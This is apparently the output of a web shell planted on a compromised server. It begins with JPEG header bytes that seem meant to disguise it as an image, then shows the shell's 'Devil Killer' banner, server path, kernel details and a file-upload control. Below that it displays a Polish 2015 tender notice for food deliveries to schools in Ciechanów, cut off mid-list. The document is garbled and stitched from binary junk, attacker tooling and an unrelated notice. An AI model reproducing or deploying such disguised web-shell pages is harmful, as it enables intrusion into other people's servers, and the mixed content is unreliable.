JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20151116/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20151116/307446-N-2015.html

<p class="kh_header"><b>Ciechanów: Dostawa    artykułów ogólnospożywczych , mięsa i  jego przetworów oraz mleka    dla  12  placówek  oświatowych  położonych  na  terenie  miasta Ciechanów na 2016 rok</b><br>
<b>Numer ogłoszenia: 307446 - 2015; data zamieszczenia: 16.11.2015</b><br>
OGŁOSZENIE O ZAMÓWIENIU - dostawy<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b>
<!--zamówienia publicznego.</p>-->
<table class="text2">
<tr><td style="border: solid 1px; width:15px black; text-align: center;"><b>V</b></td>
<td>zamówienia publicznego</td></tr>
<tr><td style="border: solid 1px; width:15px black; text-align: center;"></td>
<td>zawarcia umowy ramowej</td></tr>
<tr><td style="border: solid 1px; width:15px black; text-align: center;"></td>
<td>ustanowienia dynamicznego systemu zakupów (DSZ)</td></tr>
</table>


<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Zakład Obsługi Szkół i Przedszkoli w Ciechanowie , ul. Jesionowa 27, 06-400 Ciechanów, woj. mazowieckie, tel. 0 23 673 72 72, faks 0 23 673 72 72 wew. 31.</p>
<ul class="kh_indent_1">
</ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Administracja samorządowa.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Dostawa    artykułów ogólnospożywczych , mięsa i  jego przetworów oraz mleka    dla  12  placówek  oświatowych  położonych  na  terenie  miasta Ciechanów na 2016 rok.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> dostawy.</p>
<p><b>II.1.4) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Przedmiot zamówienia w zakresie zadania nr 1 dotyczy dostawy artykułów ogólnospożywczych :. 
1.	Ananas w puszce  565g	szt	524
2.	Aromat waniliowy 10g	szt	50
3.	Bazylia   10g	szt	299,5
4.	Biszkopty	kg	213
5.	Brokuły mrożone 450g	kg	745
6.	Brukselka 2kg	kg	55
7.	Brzoskwinia w puszce 850g	szt	813
8.	Budyń 0.75L	szt	2040
9.	Bułka tarta	kg	562
10.	Buraczki mrożone 500g	szt	150
11.	Chrupki kukur. Krakers 80g	szt	80
12.	Chrupki kukurydziane 80g	szt	2930
13.	Chrupki kukurydziane smakowe 80g	szt	1535
14.	chrzan tarty 180g	szt	30
15.	Ciastka herbatniki drobne 170g	szt	66
16.	Ciastka herbatniki maślane 250g	szt	66
17.	Ciastka kruche	kg	221
18.	Ciastka owsiane bez jaj i cukru 180g	szt	50
19.	Cukier	kg	2656
20.	Cukier czcinowy 	kg	6
21.	Cukier puder 400g	szt	304,5
22.	Cukier waniliowy 16g	szt	758
23.	Czosnek granulowany 	szt	6
24.	Deser budyniowy (monte)150g	szt	1000
25.	Deser sojowy  150g	szt	130
26.	Drożdze 100g 	szt	230
27.	Dżem bez cukru  280g	szt	1395
28.	Fasola 500g	szt	30,1
29.	Fasolka szparagowa mrożona	kg	699
30.	Filet z dorsza	kg	715
31.	Filet z łososia wędzonego 	kg	62,3
32.	Filet z mintaja b/skóry	kg	717
33.	Filet z miruny bez skóry	kg	594
34.	Filet z miruny ze skórą	kg	1793
35.	Frytki do piekarnika 	kg	154
36.	Galaretka 0,75L	szt	3160
37.	Gałka muszkatołowa 10g	szt	141,5
38.	Goździki 15g	szt	185,5
39.	Groch połowki 500g	kg	225
40.	Groszek konserwowy 400g	szt	725
41.	Herbata ekspresowa  140g	szt	518,2
42.	Herbata liściasta 100g	szt	2615
43.	Herbata miętowa 40g	szt	396
44.	Herbata owocowa 40g	szt	403
45.	Herbatniki	kg	20
46.	Imbir 15g	szt	162,5
47.	Jogurt naturalny 150g 	szt	9923
48.	Jogurt naturalny 370g	szt	941,5
49.	Jogurt naturalny grecki 150 g	szt	622
50.	Jogurt owocowy  125g 	szt	7875
51.	Jogurt owocowy 150g 	szt	8005
52.	Jogurt pitny smakowy 200g	szt	6720
53.	Jogurt z kawałkami owoców 125 g	szt	2885
54.	Jogurt z kawałkami owoców 150g	szt	3160
55.	Kakao 100g (Wedel)	szt	224
56.	Kalafior mrożony 450g	szt	362
57.	Kasza gryczana 400 g	szt	773
58.	Kasza jaglana 350g	szt	60
59.	Kasza jęczmienna 400 g	szt	1298,5
60.	Kasza kuskus 	kg	325
61.	Kasza manna	kg	145
62.	Kawa inka 100g	szt	264
63.	Ketchup Łagodny 250 g bez konserwantów	szt	994
64.	Kisiel 0,75L	szt	3390
65.	Kluski śląskie	kg	100
66.	Knedle z truskawkami 450g	szt	380
67.	Kolendra 10g	szt	24
68.	Kompot czarna porzeczka 900g	szt	1402
69.	Kompot śliwkowy 900g	szt	829
70.	Kompot truskawkowy 900g	szt	1454
71.	Kompot wiśniowy 900g	szt	1224
72.	Koncentrat pomidorowy 190g (Łowicz)	szt	3441
73.	kopytka mrożone	kg	150
74.	Kukurydza w puszce 400g	szt	368
75.	Kurkuma 20g	szt	188,5
76.	Kwasek cytrynowy 20g	szt	929
77.	Liść laurowy 6g	szt	702
78.	Lubczyk 10g	szt	178,5
79.	Majeranek 8g	szt	912
80.	Makaron kluseczki 250g	szt	293
81.	Makaron muszelki 500g	szt	624
82.	Makaron nitki 500g (prymus)	szt	1083
83.	Makaron spaghetti 500 g	szt	796
84.	Makaron świderki 500g(prymus)	szt	1798
85.	Makaron zacierka 250g	szt	200
86.	Makrela wędzona 	szt	115,6
87.	Marchew mrożona 450g	szt	510
88.	margaryna 500g	kg	14
89.	Masło roślinne 250g	szt	158
90.	Masło stołowe (minimum 82% zawartości tłuszczu )	kg	2139
91.	Maślanka 1,0 L	szt	1765
92.	Mąka pszenna 500(kurpiowska)	kg	2411
93.	Mąka ziemniaczana	kg	113,8
94.	Mieszanka chińska 450g	szt	90
95.	Mieszanka jarzynowa500g	szt	501
96.	Mieszanka kompot.6 skł.	kg	70
97.	Migdały 50g	szt	20
98.	Miód naturalny 500g	szt	5320
99.	Mleko ryżowe  1L	szt	40
100.	Mleko smakowe 200g	szt	8920
101.	Mleko smakowe 250g	szt	5200
102.	Mleko sojowe  1L	szt	140
103.	Mokka Sanko 200g	szt	100
104.	Morele suszone 	kg	30
105.	Musztarda195g	szt	276
106.	Napój sojowy 	L	51
107.	Ocet 0,5L	L	90
108.	Ogórek kiszony 900g	szt	284
109.	Ogórek konserwowy 900g	szt	370
110.	Olej 1L (kujawski)	szt	1175
111.	Oliwa z oliwek 500ml	szl	21
112.	Oregano 10g	szt	269,5
113.	Orzech włoski 100g	kg	289
114.	Paluszki niesolone 260g	szt	50
115.	Paluszki rybne 	kg	181
116.	Paluszki sezamowe 250 g	szt	493
117.	Papryka słodka 20g	szt	399,5
118.	Pasztet sojowy 150b	szt	90
119.	Pestki z dyni  100g	szt	522
120.	Pieczywo chrupkie 150g	szt	100
121.	Pieprz mielony 14g	szt	863
122.	Pieprz ziarnisty 15g	szt	350
123.	Pieprz ziołowy	szt	317
124.	Pierogi z  kapustą 450g	szt	250
125.	Pierogi z mięsem 450g	szt	120
126.	Pietruszka suszona 7g	szt	425,5
127.	Płatki Cheerios  250g	szt	620
128.	Płatki chocapic 225g	szt	850
129.	Płatki Cookie crisp 250g	szt	505
130.	Płatki corn-flakes 250g	szt	1118
131.	Płatki gold-flakes 250g	szt	794
132.	Płatki gryczane 350g	szt	40
133.	Płatki jaglane 350g	szt	40
134.	Płatki jęczmienne 	kg	309
135.	Płatki Lion 225g	szt	645
136.	Płatki nesquik 250g	szt	731
137.	Płatki owsiane 400g	szt	388
138.	Płatki ryżowe 250g	szt	482
139.	Pomidory w puszce 350g	szt	20
140.	Proszek do pieczenia 10g	szt	311
141.	Przecier ogórkowy 290g	szt	422
142.	Przecier pomidorowy 500g	szt	952
143.	Przyprawa do kurczaka złocista	szt	18
144.	Przyprawa do ryb	szt	40
145.	Pyzy z mięsem 450g	szt	890
146.	Pyzy ziemniaczane 450g	szt	1210
147.	Rodzynki100g	szt	457
148.	Ryż	kg	825
149.	Ryż 4x100 g	szt	162
150.	Sannko lekkie 170g	szt	100
151.	Ser żółty	kg	399
152.	Serek 4x50g (danonki)	szt	3902
153.	Serek 4x80g  (danonki)	szt	3612
154.	Serek 90g (bakuś)	szt	4940
155.	Serek homogenizowany 140g	szt	10185
156.	Serek homogenizowany 150g 	szt	6150
157.	Serek śmietankowy 150 g (almette)	szt	665
158.	serek wiejski 150g	szt	2784
159.	serek wiejski 200g	szt	1700
160.	Słonecznik -pestki łuskwione 100g	szt	550
161.	Soda 100g 	szt	100
162.	Sok czarna porzeczka 1L bez cukru	szt	1862
163.	Sok jabłkowy 1L bez cukru	szt	3747
164.	Sok karotka 1L bez cukru	szt	3885
165.	Sok multiwitamina 0,2L bez cukru	szt	10000
166.	Sok multiwitamina 1L bez cukru	szt	2552
167.	Sok pomarańczowy 1L bez cukru	szt	3589
168.	sok wielowarzywny 1L bez cukru 	szt	1976
169.	Sos spaghetti 350 g	szt	160
170.	Sos vinegrette  10 g	szt	36
171.	Sól jodowana miałka	kg	157
172.	Sól sodowo-potasowa 350g	szt	632
173.	Sucharki delikatesowe 250g	szt	360
174.	Szczaw konserwowy 300g	szt	578
175.	Szpinak mrożony 450 g	szt	252
176.	Szprot w pomidorze 170 g	szt	60
177.	Śliwki suszone 	kg	30
178.	Śmietana 18% 200ml	szt	2862
179.	Śmietana 30%  250ml	szt	2993
180.	Truskawka mrożona 450g	szt	1844
181.	Twaróg półtłusty	kg	1914
182.	Tymianek    10g	szt	258,5
183.	wafle kukurydziane 	szt	420
184.	Wafle ryżowe naturalne 110g	szt	2448
185.	Wafle sojowe 62g	szt	60
186.	Wanilia laska 	szt	50
187.	Wiśnia mrożona 	kg	30
188.	Woda niegazowana 0,5L	szt	1450
189.	Woda niegazowana 1,5L	szt	1712
190.	Woda niegazowana 5L	szt	1025
191.	Ziele angielskie 20g	szt	634
192.	Żelatyna	szt	10
193.	Żurawina bez cukru	kg	217,8
194.	Pozostałe nie wymienione 	 	 

 Przedmiot zamówienia w zakresie zadania nr 2 dotyczy dostawy mięsa i jego przetworów : . 
1.	Boczek surowy 	kg	         14
2.	Boczek wędzony	kg	51
3.	Ćwiartka kurczaka	kg	1686,5
4.	Filet z kurczaka	kg	2359
5.	Karkówka b/k	kg	476
6.	Kiełbasa kanapkowa	kg	29
7.	Kiełbasa krakowska	kg	110
8.	Kiełbasa szynkowa	kg	179
9.	Kiełbasa śląska	kg	460
10.	Kiełbasa zwyczajna	kg	63,5
11.	Kiełbasa biała	kg	289,5
12.	Korpusy 	kg	850
13.	Kości wieprzowe	kg	200
14.	Kurczak świeży	kg	1774
15.	Łopatka b/k	kg	3561,5
16.	Mielonka	kg	2
17.	Mięso drobne drobiowe	kg	24
18.	Mięso gulaszowe	kg	184
19.	Parówki wieprzowe 	kg	384
20.	Parówki z szynki	szt	1027
21.	Pierś miodowa	kg	39,3
22.	Podudzie kurczaka 	kg	1777
23.	Polędwica drobiowa	kg	91,6
24.	Polędwica sopocka	kg	111,1
25.	Pręga-łata (wołowe)	kg	139
26.	Schab b/k	kg	1868
27.	Skrzydełko drobiowe	kg	240
28.	Słonina	kg	20
29.	Szynka drobiowa	kg	109,8
30.	Szynka gotowana 	kg	185,5
31.	Szynka surowa b/k	kg	1945
32.	Szynka wieprzowa	kg	117,9
33.	Wątróbka drobiowa	kg	380
34.	Żeberka paski	kg	244
35.	Żołądki drobiowe	kg	368
36.	Skrzydełko z indyka	kg	60
37.	Udziec wołowy	kg	200
38.	Udziec z indyka	kg	64
39.	 Pozostałe nie wymienione	 	 
			
			
  Przedmiot zamówienia w zakresie zadania nr 3  dotyczy  dostawy mleka :.
	1.	Mleko  foliowane  2%                	L	                                        39530.</p>
<p><b>II.1.5)
<table class="text2">
<tr><td style="border: solid 1px black; width:15px; text-align: center;"><b>&nbsp;</b></td>
<td><b>przewiduje się udzielenie zamówień uzupełniających</b></td></tr>
</table>                            
</b></p>
<ul class="kh_indent_1"><li><b>Określenie przedmiotu oraz wielkości lub zakresu zamówień uzupełniających</b></li>
<li></li></ul>

<p><b>II.1.6) Wspólny Słownik Zamówień (CPV):</b> 15.80.00.00-6, 15.10.00.00-2, 15.13.11.30-5, 15.55.00.00-8, 15.22.10.00-3, 15.51.10.00-3.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty częściowej:</b> tak, liczba części: 3.</p>
<p><b>II.1.8) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Okres w miesiącach: 12.</p>
<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> Zamawiający nie wymaga wniesienia wadium</p>
<p><b>III.2) ZALICZKI</b></p>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Wymagane jest wykazanie przez wykonawcę - Aktualnej  opłaconej polisy, a w przypadku jej braku innego dokumentu potwierdzającego , że wykonawca jest ubezpieczony od odpowiedzialności cywilnej w zakresie prowadzonej działalności związanej z przedmiotem zamówienia na kwotę co najmniej : 
zadanie nr 1 -  200000,00zł 
zadanie nr 2 - 100000,00zł 
zadanie nr 3 -    50000,00zł</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnianiu warunków udziału w postępowaniu należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">wykaz wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, głównych dostaw lub usług, w okresie ostatnich trzech lat przed upływem terminu składania ofert albo wniosków o dopuszczenie do udziału w postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wraz z podaniem ich wartości, przedmiotu, dat wykonania i podmiotów, na rzecz których dostawy lub usługi zostały wykonane, oraz załączeniem dowodów, czy zostały wykonane lub są wykonywane należycie;</li>

<li  style="margin-bottom: 12px;">opłaconą polisę, a w przypadku jej braku, inny dokument potwierdzający, że wykonawca jest ubezpieczony od odpowiedzialności cywilnej w zakresie prowadzonej działalności związanej z przedmiotem zamówienia.</li>

</ul>
<p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia;</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru lub z centralnej ewidencji i informacji o działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub ewidencji, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

<li style="margin-bottom: 12px;">aktualne zaświadczenie właściwego naczelnika urzędu skarbowego potwierdzające, że wykonawca nie zalega z opłacaniem podatków, lub zaświadczenie, że uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu - wystawione nie wcześniej niż 3 miesiące przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

<li style="margin-bottom: 12px;">aktualne zaświadczenie właściwego oddziału Zakładu Ubezpieczeń Społecznych lub Kasy Rolniczego Ubezpieczenia Społecznego potwierdzające, że wykonawca nie zalega z opłacaniem składek na ubezpieczenia zdrowotne i społeczne, lub potwierdzenie, że uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu -  wystawione nie wcześniej niż 3 miesiące przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul>

<p class="bold">III.4.4)  Dokumenty dotyczące przynależności do tej samej grupy kapitałowej</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">			
<li style="margin-bottom: 12px;">lista podmiotów należących do tej samej grupy kapitałowej w rozumieniu ustawy z dnia 16 lutego 2007 r. o ochronie konkurencji i konsumentów albo informacji o tym, że nie należy do grupy kapitałowej;</li>

</ul>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>cena oraz inne kryteria związane z przedmiotem zamówienia:</p><ul class="kh_indent_1">
<li>1 - Cena - 80</li>
<li>2 - Utrzymanie niezmienności cen liczona w miesiącach - 20</li>
</ul>
<p><b>IV.2.2)</b>
<table class="text2">
<tr><td style="border: solid 1px black; width:15px; text-align: center;"><b>&nbsp;</b></td>
    <td><b>przeprowadzona będzie aukcja elektroniczna,</b> adres strony, na której będzie prowadzona: </td></tr>
</table>                            

<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.zosipciechanow.pl<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Zakład Obsługi Szkół i Przedszkoli 
ul.Jesionowa 27 
06-40 Ciechanów.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 27.11.2015 godzina 12:00, miejsce: Zakład Obsługi Szkół i Przedszkoli 
ul.Jesionowa 27 
06-40 Ciechanów.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>





<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>
<p class="text kh_title">ZAŁĄCZNIK I - INFORMACJE DOTYCZĄCE OFERT CZĘŚCIOWYCH</p>
<p><b>CZĘŚĆ Nr:</b> 1 <b>NAZWA:</b> Dostawa artykułów ogólnospożywczych.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Przedmiot zamówienia w zakresie zadania nr 1 dotyczy dostawy artykułów ogólnospożywczych :. 
1.	Ananas w puszce  565g	szt	524
2.	Aromat waniliowy 10g	szt	50
3.	Bazylia   10g	szt	299,5
4.	Biszkopty	kg	213
5.	Brokuły mrożone 450g	kg	745
6.	Brukselka 2kg	kg	55
7.	Brzoskwinia w puszce 850g	szt	813
8.	Budyń 0.75L	szt	2040
9.	Bułka tarta	kg	562
10.	Buraczki mrożone 500g	szt	150
11.	Chrupki kukur. Krakers 80g	szt	80
12.	Chrupki kukurydziane 80g	szt	2930
13.	Chrupki kukurydziane smakowe 80g	szt	1535
14.	chrzan tarty 180g	szt	30
15.	Ciastka herbatniki drobne 170g	szt	66
16.	Ciastka herbatniki maślane 250g	szt	66
17.	Ciastka kruche	kg	221
18.	Ciastka owsiane bez jaj i cukru 180g	szt	50
19.	Cukier	kg	2656
20.	Cukier czcinowy 	kg	6
21.	Cukier puder 400g	szt	304,5
22.	Cukier waniliowy 16g	szt	758
23.	Czosnek granulowany 	szt	6
24.	Deser budyniowy (monte)150g	szt	1000
25.	Deser sojowy  150g	szt	130
26.	Drożdze 100g 	szt	230
27.	Dżem bez cukru  280g	szt	1395
28.	Fasola 500g	szt	30,1
29.	Fasolka szparagowa mrożona	kg	699
30.	Filet z dorsza	kg	715
31.	Filet z łososia wędzonego 	kg	62,3
32.	Filet z mintaja b/skóry	kg	717
33.	Filet z miruny bez skóry	kg	594
34.	Filet z miruny ze skórą	kg	1793
35.	Frytki do piekarnika 	kg	154
36.	Galaretka 0,75L	szt	3160
37.	Gałka muszkatołowa 10g	szt	141,5
38.	Goździki 15g	szt	185,5
39.	Groch połowki 500g	kg	225
40.	Groszek konserwowy 400g	szt	725
41.	Herbata ekspresowa  140g	szt	518,2
42.	Herbata liściasta 100g	szt	2615
43.	Herbata miętowa 40g	szt	396
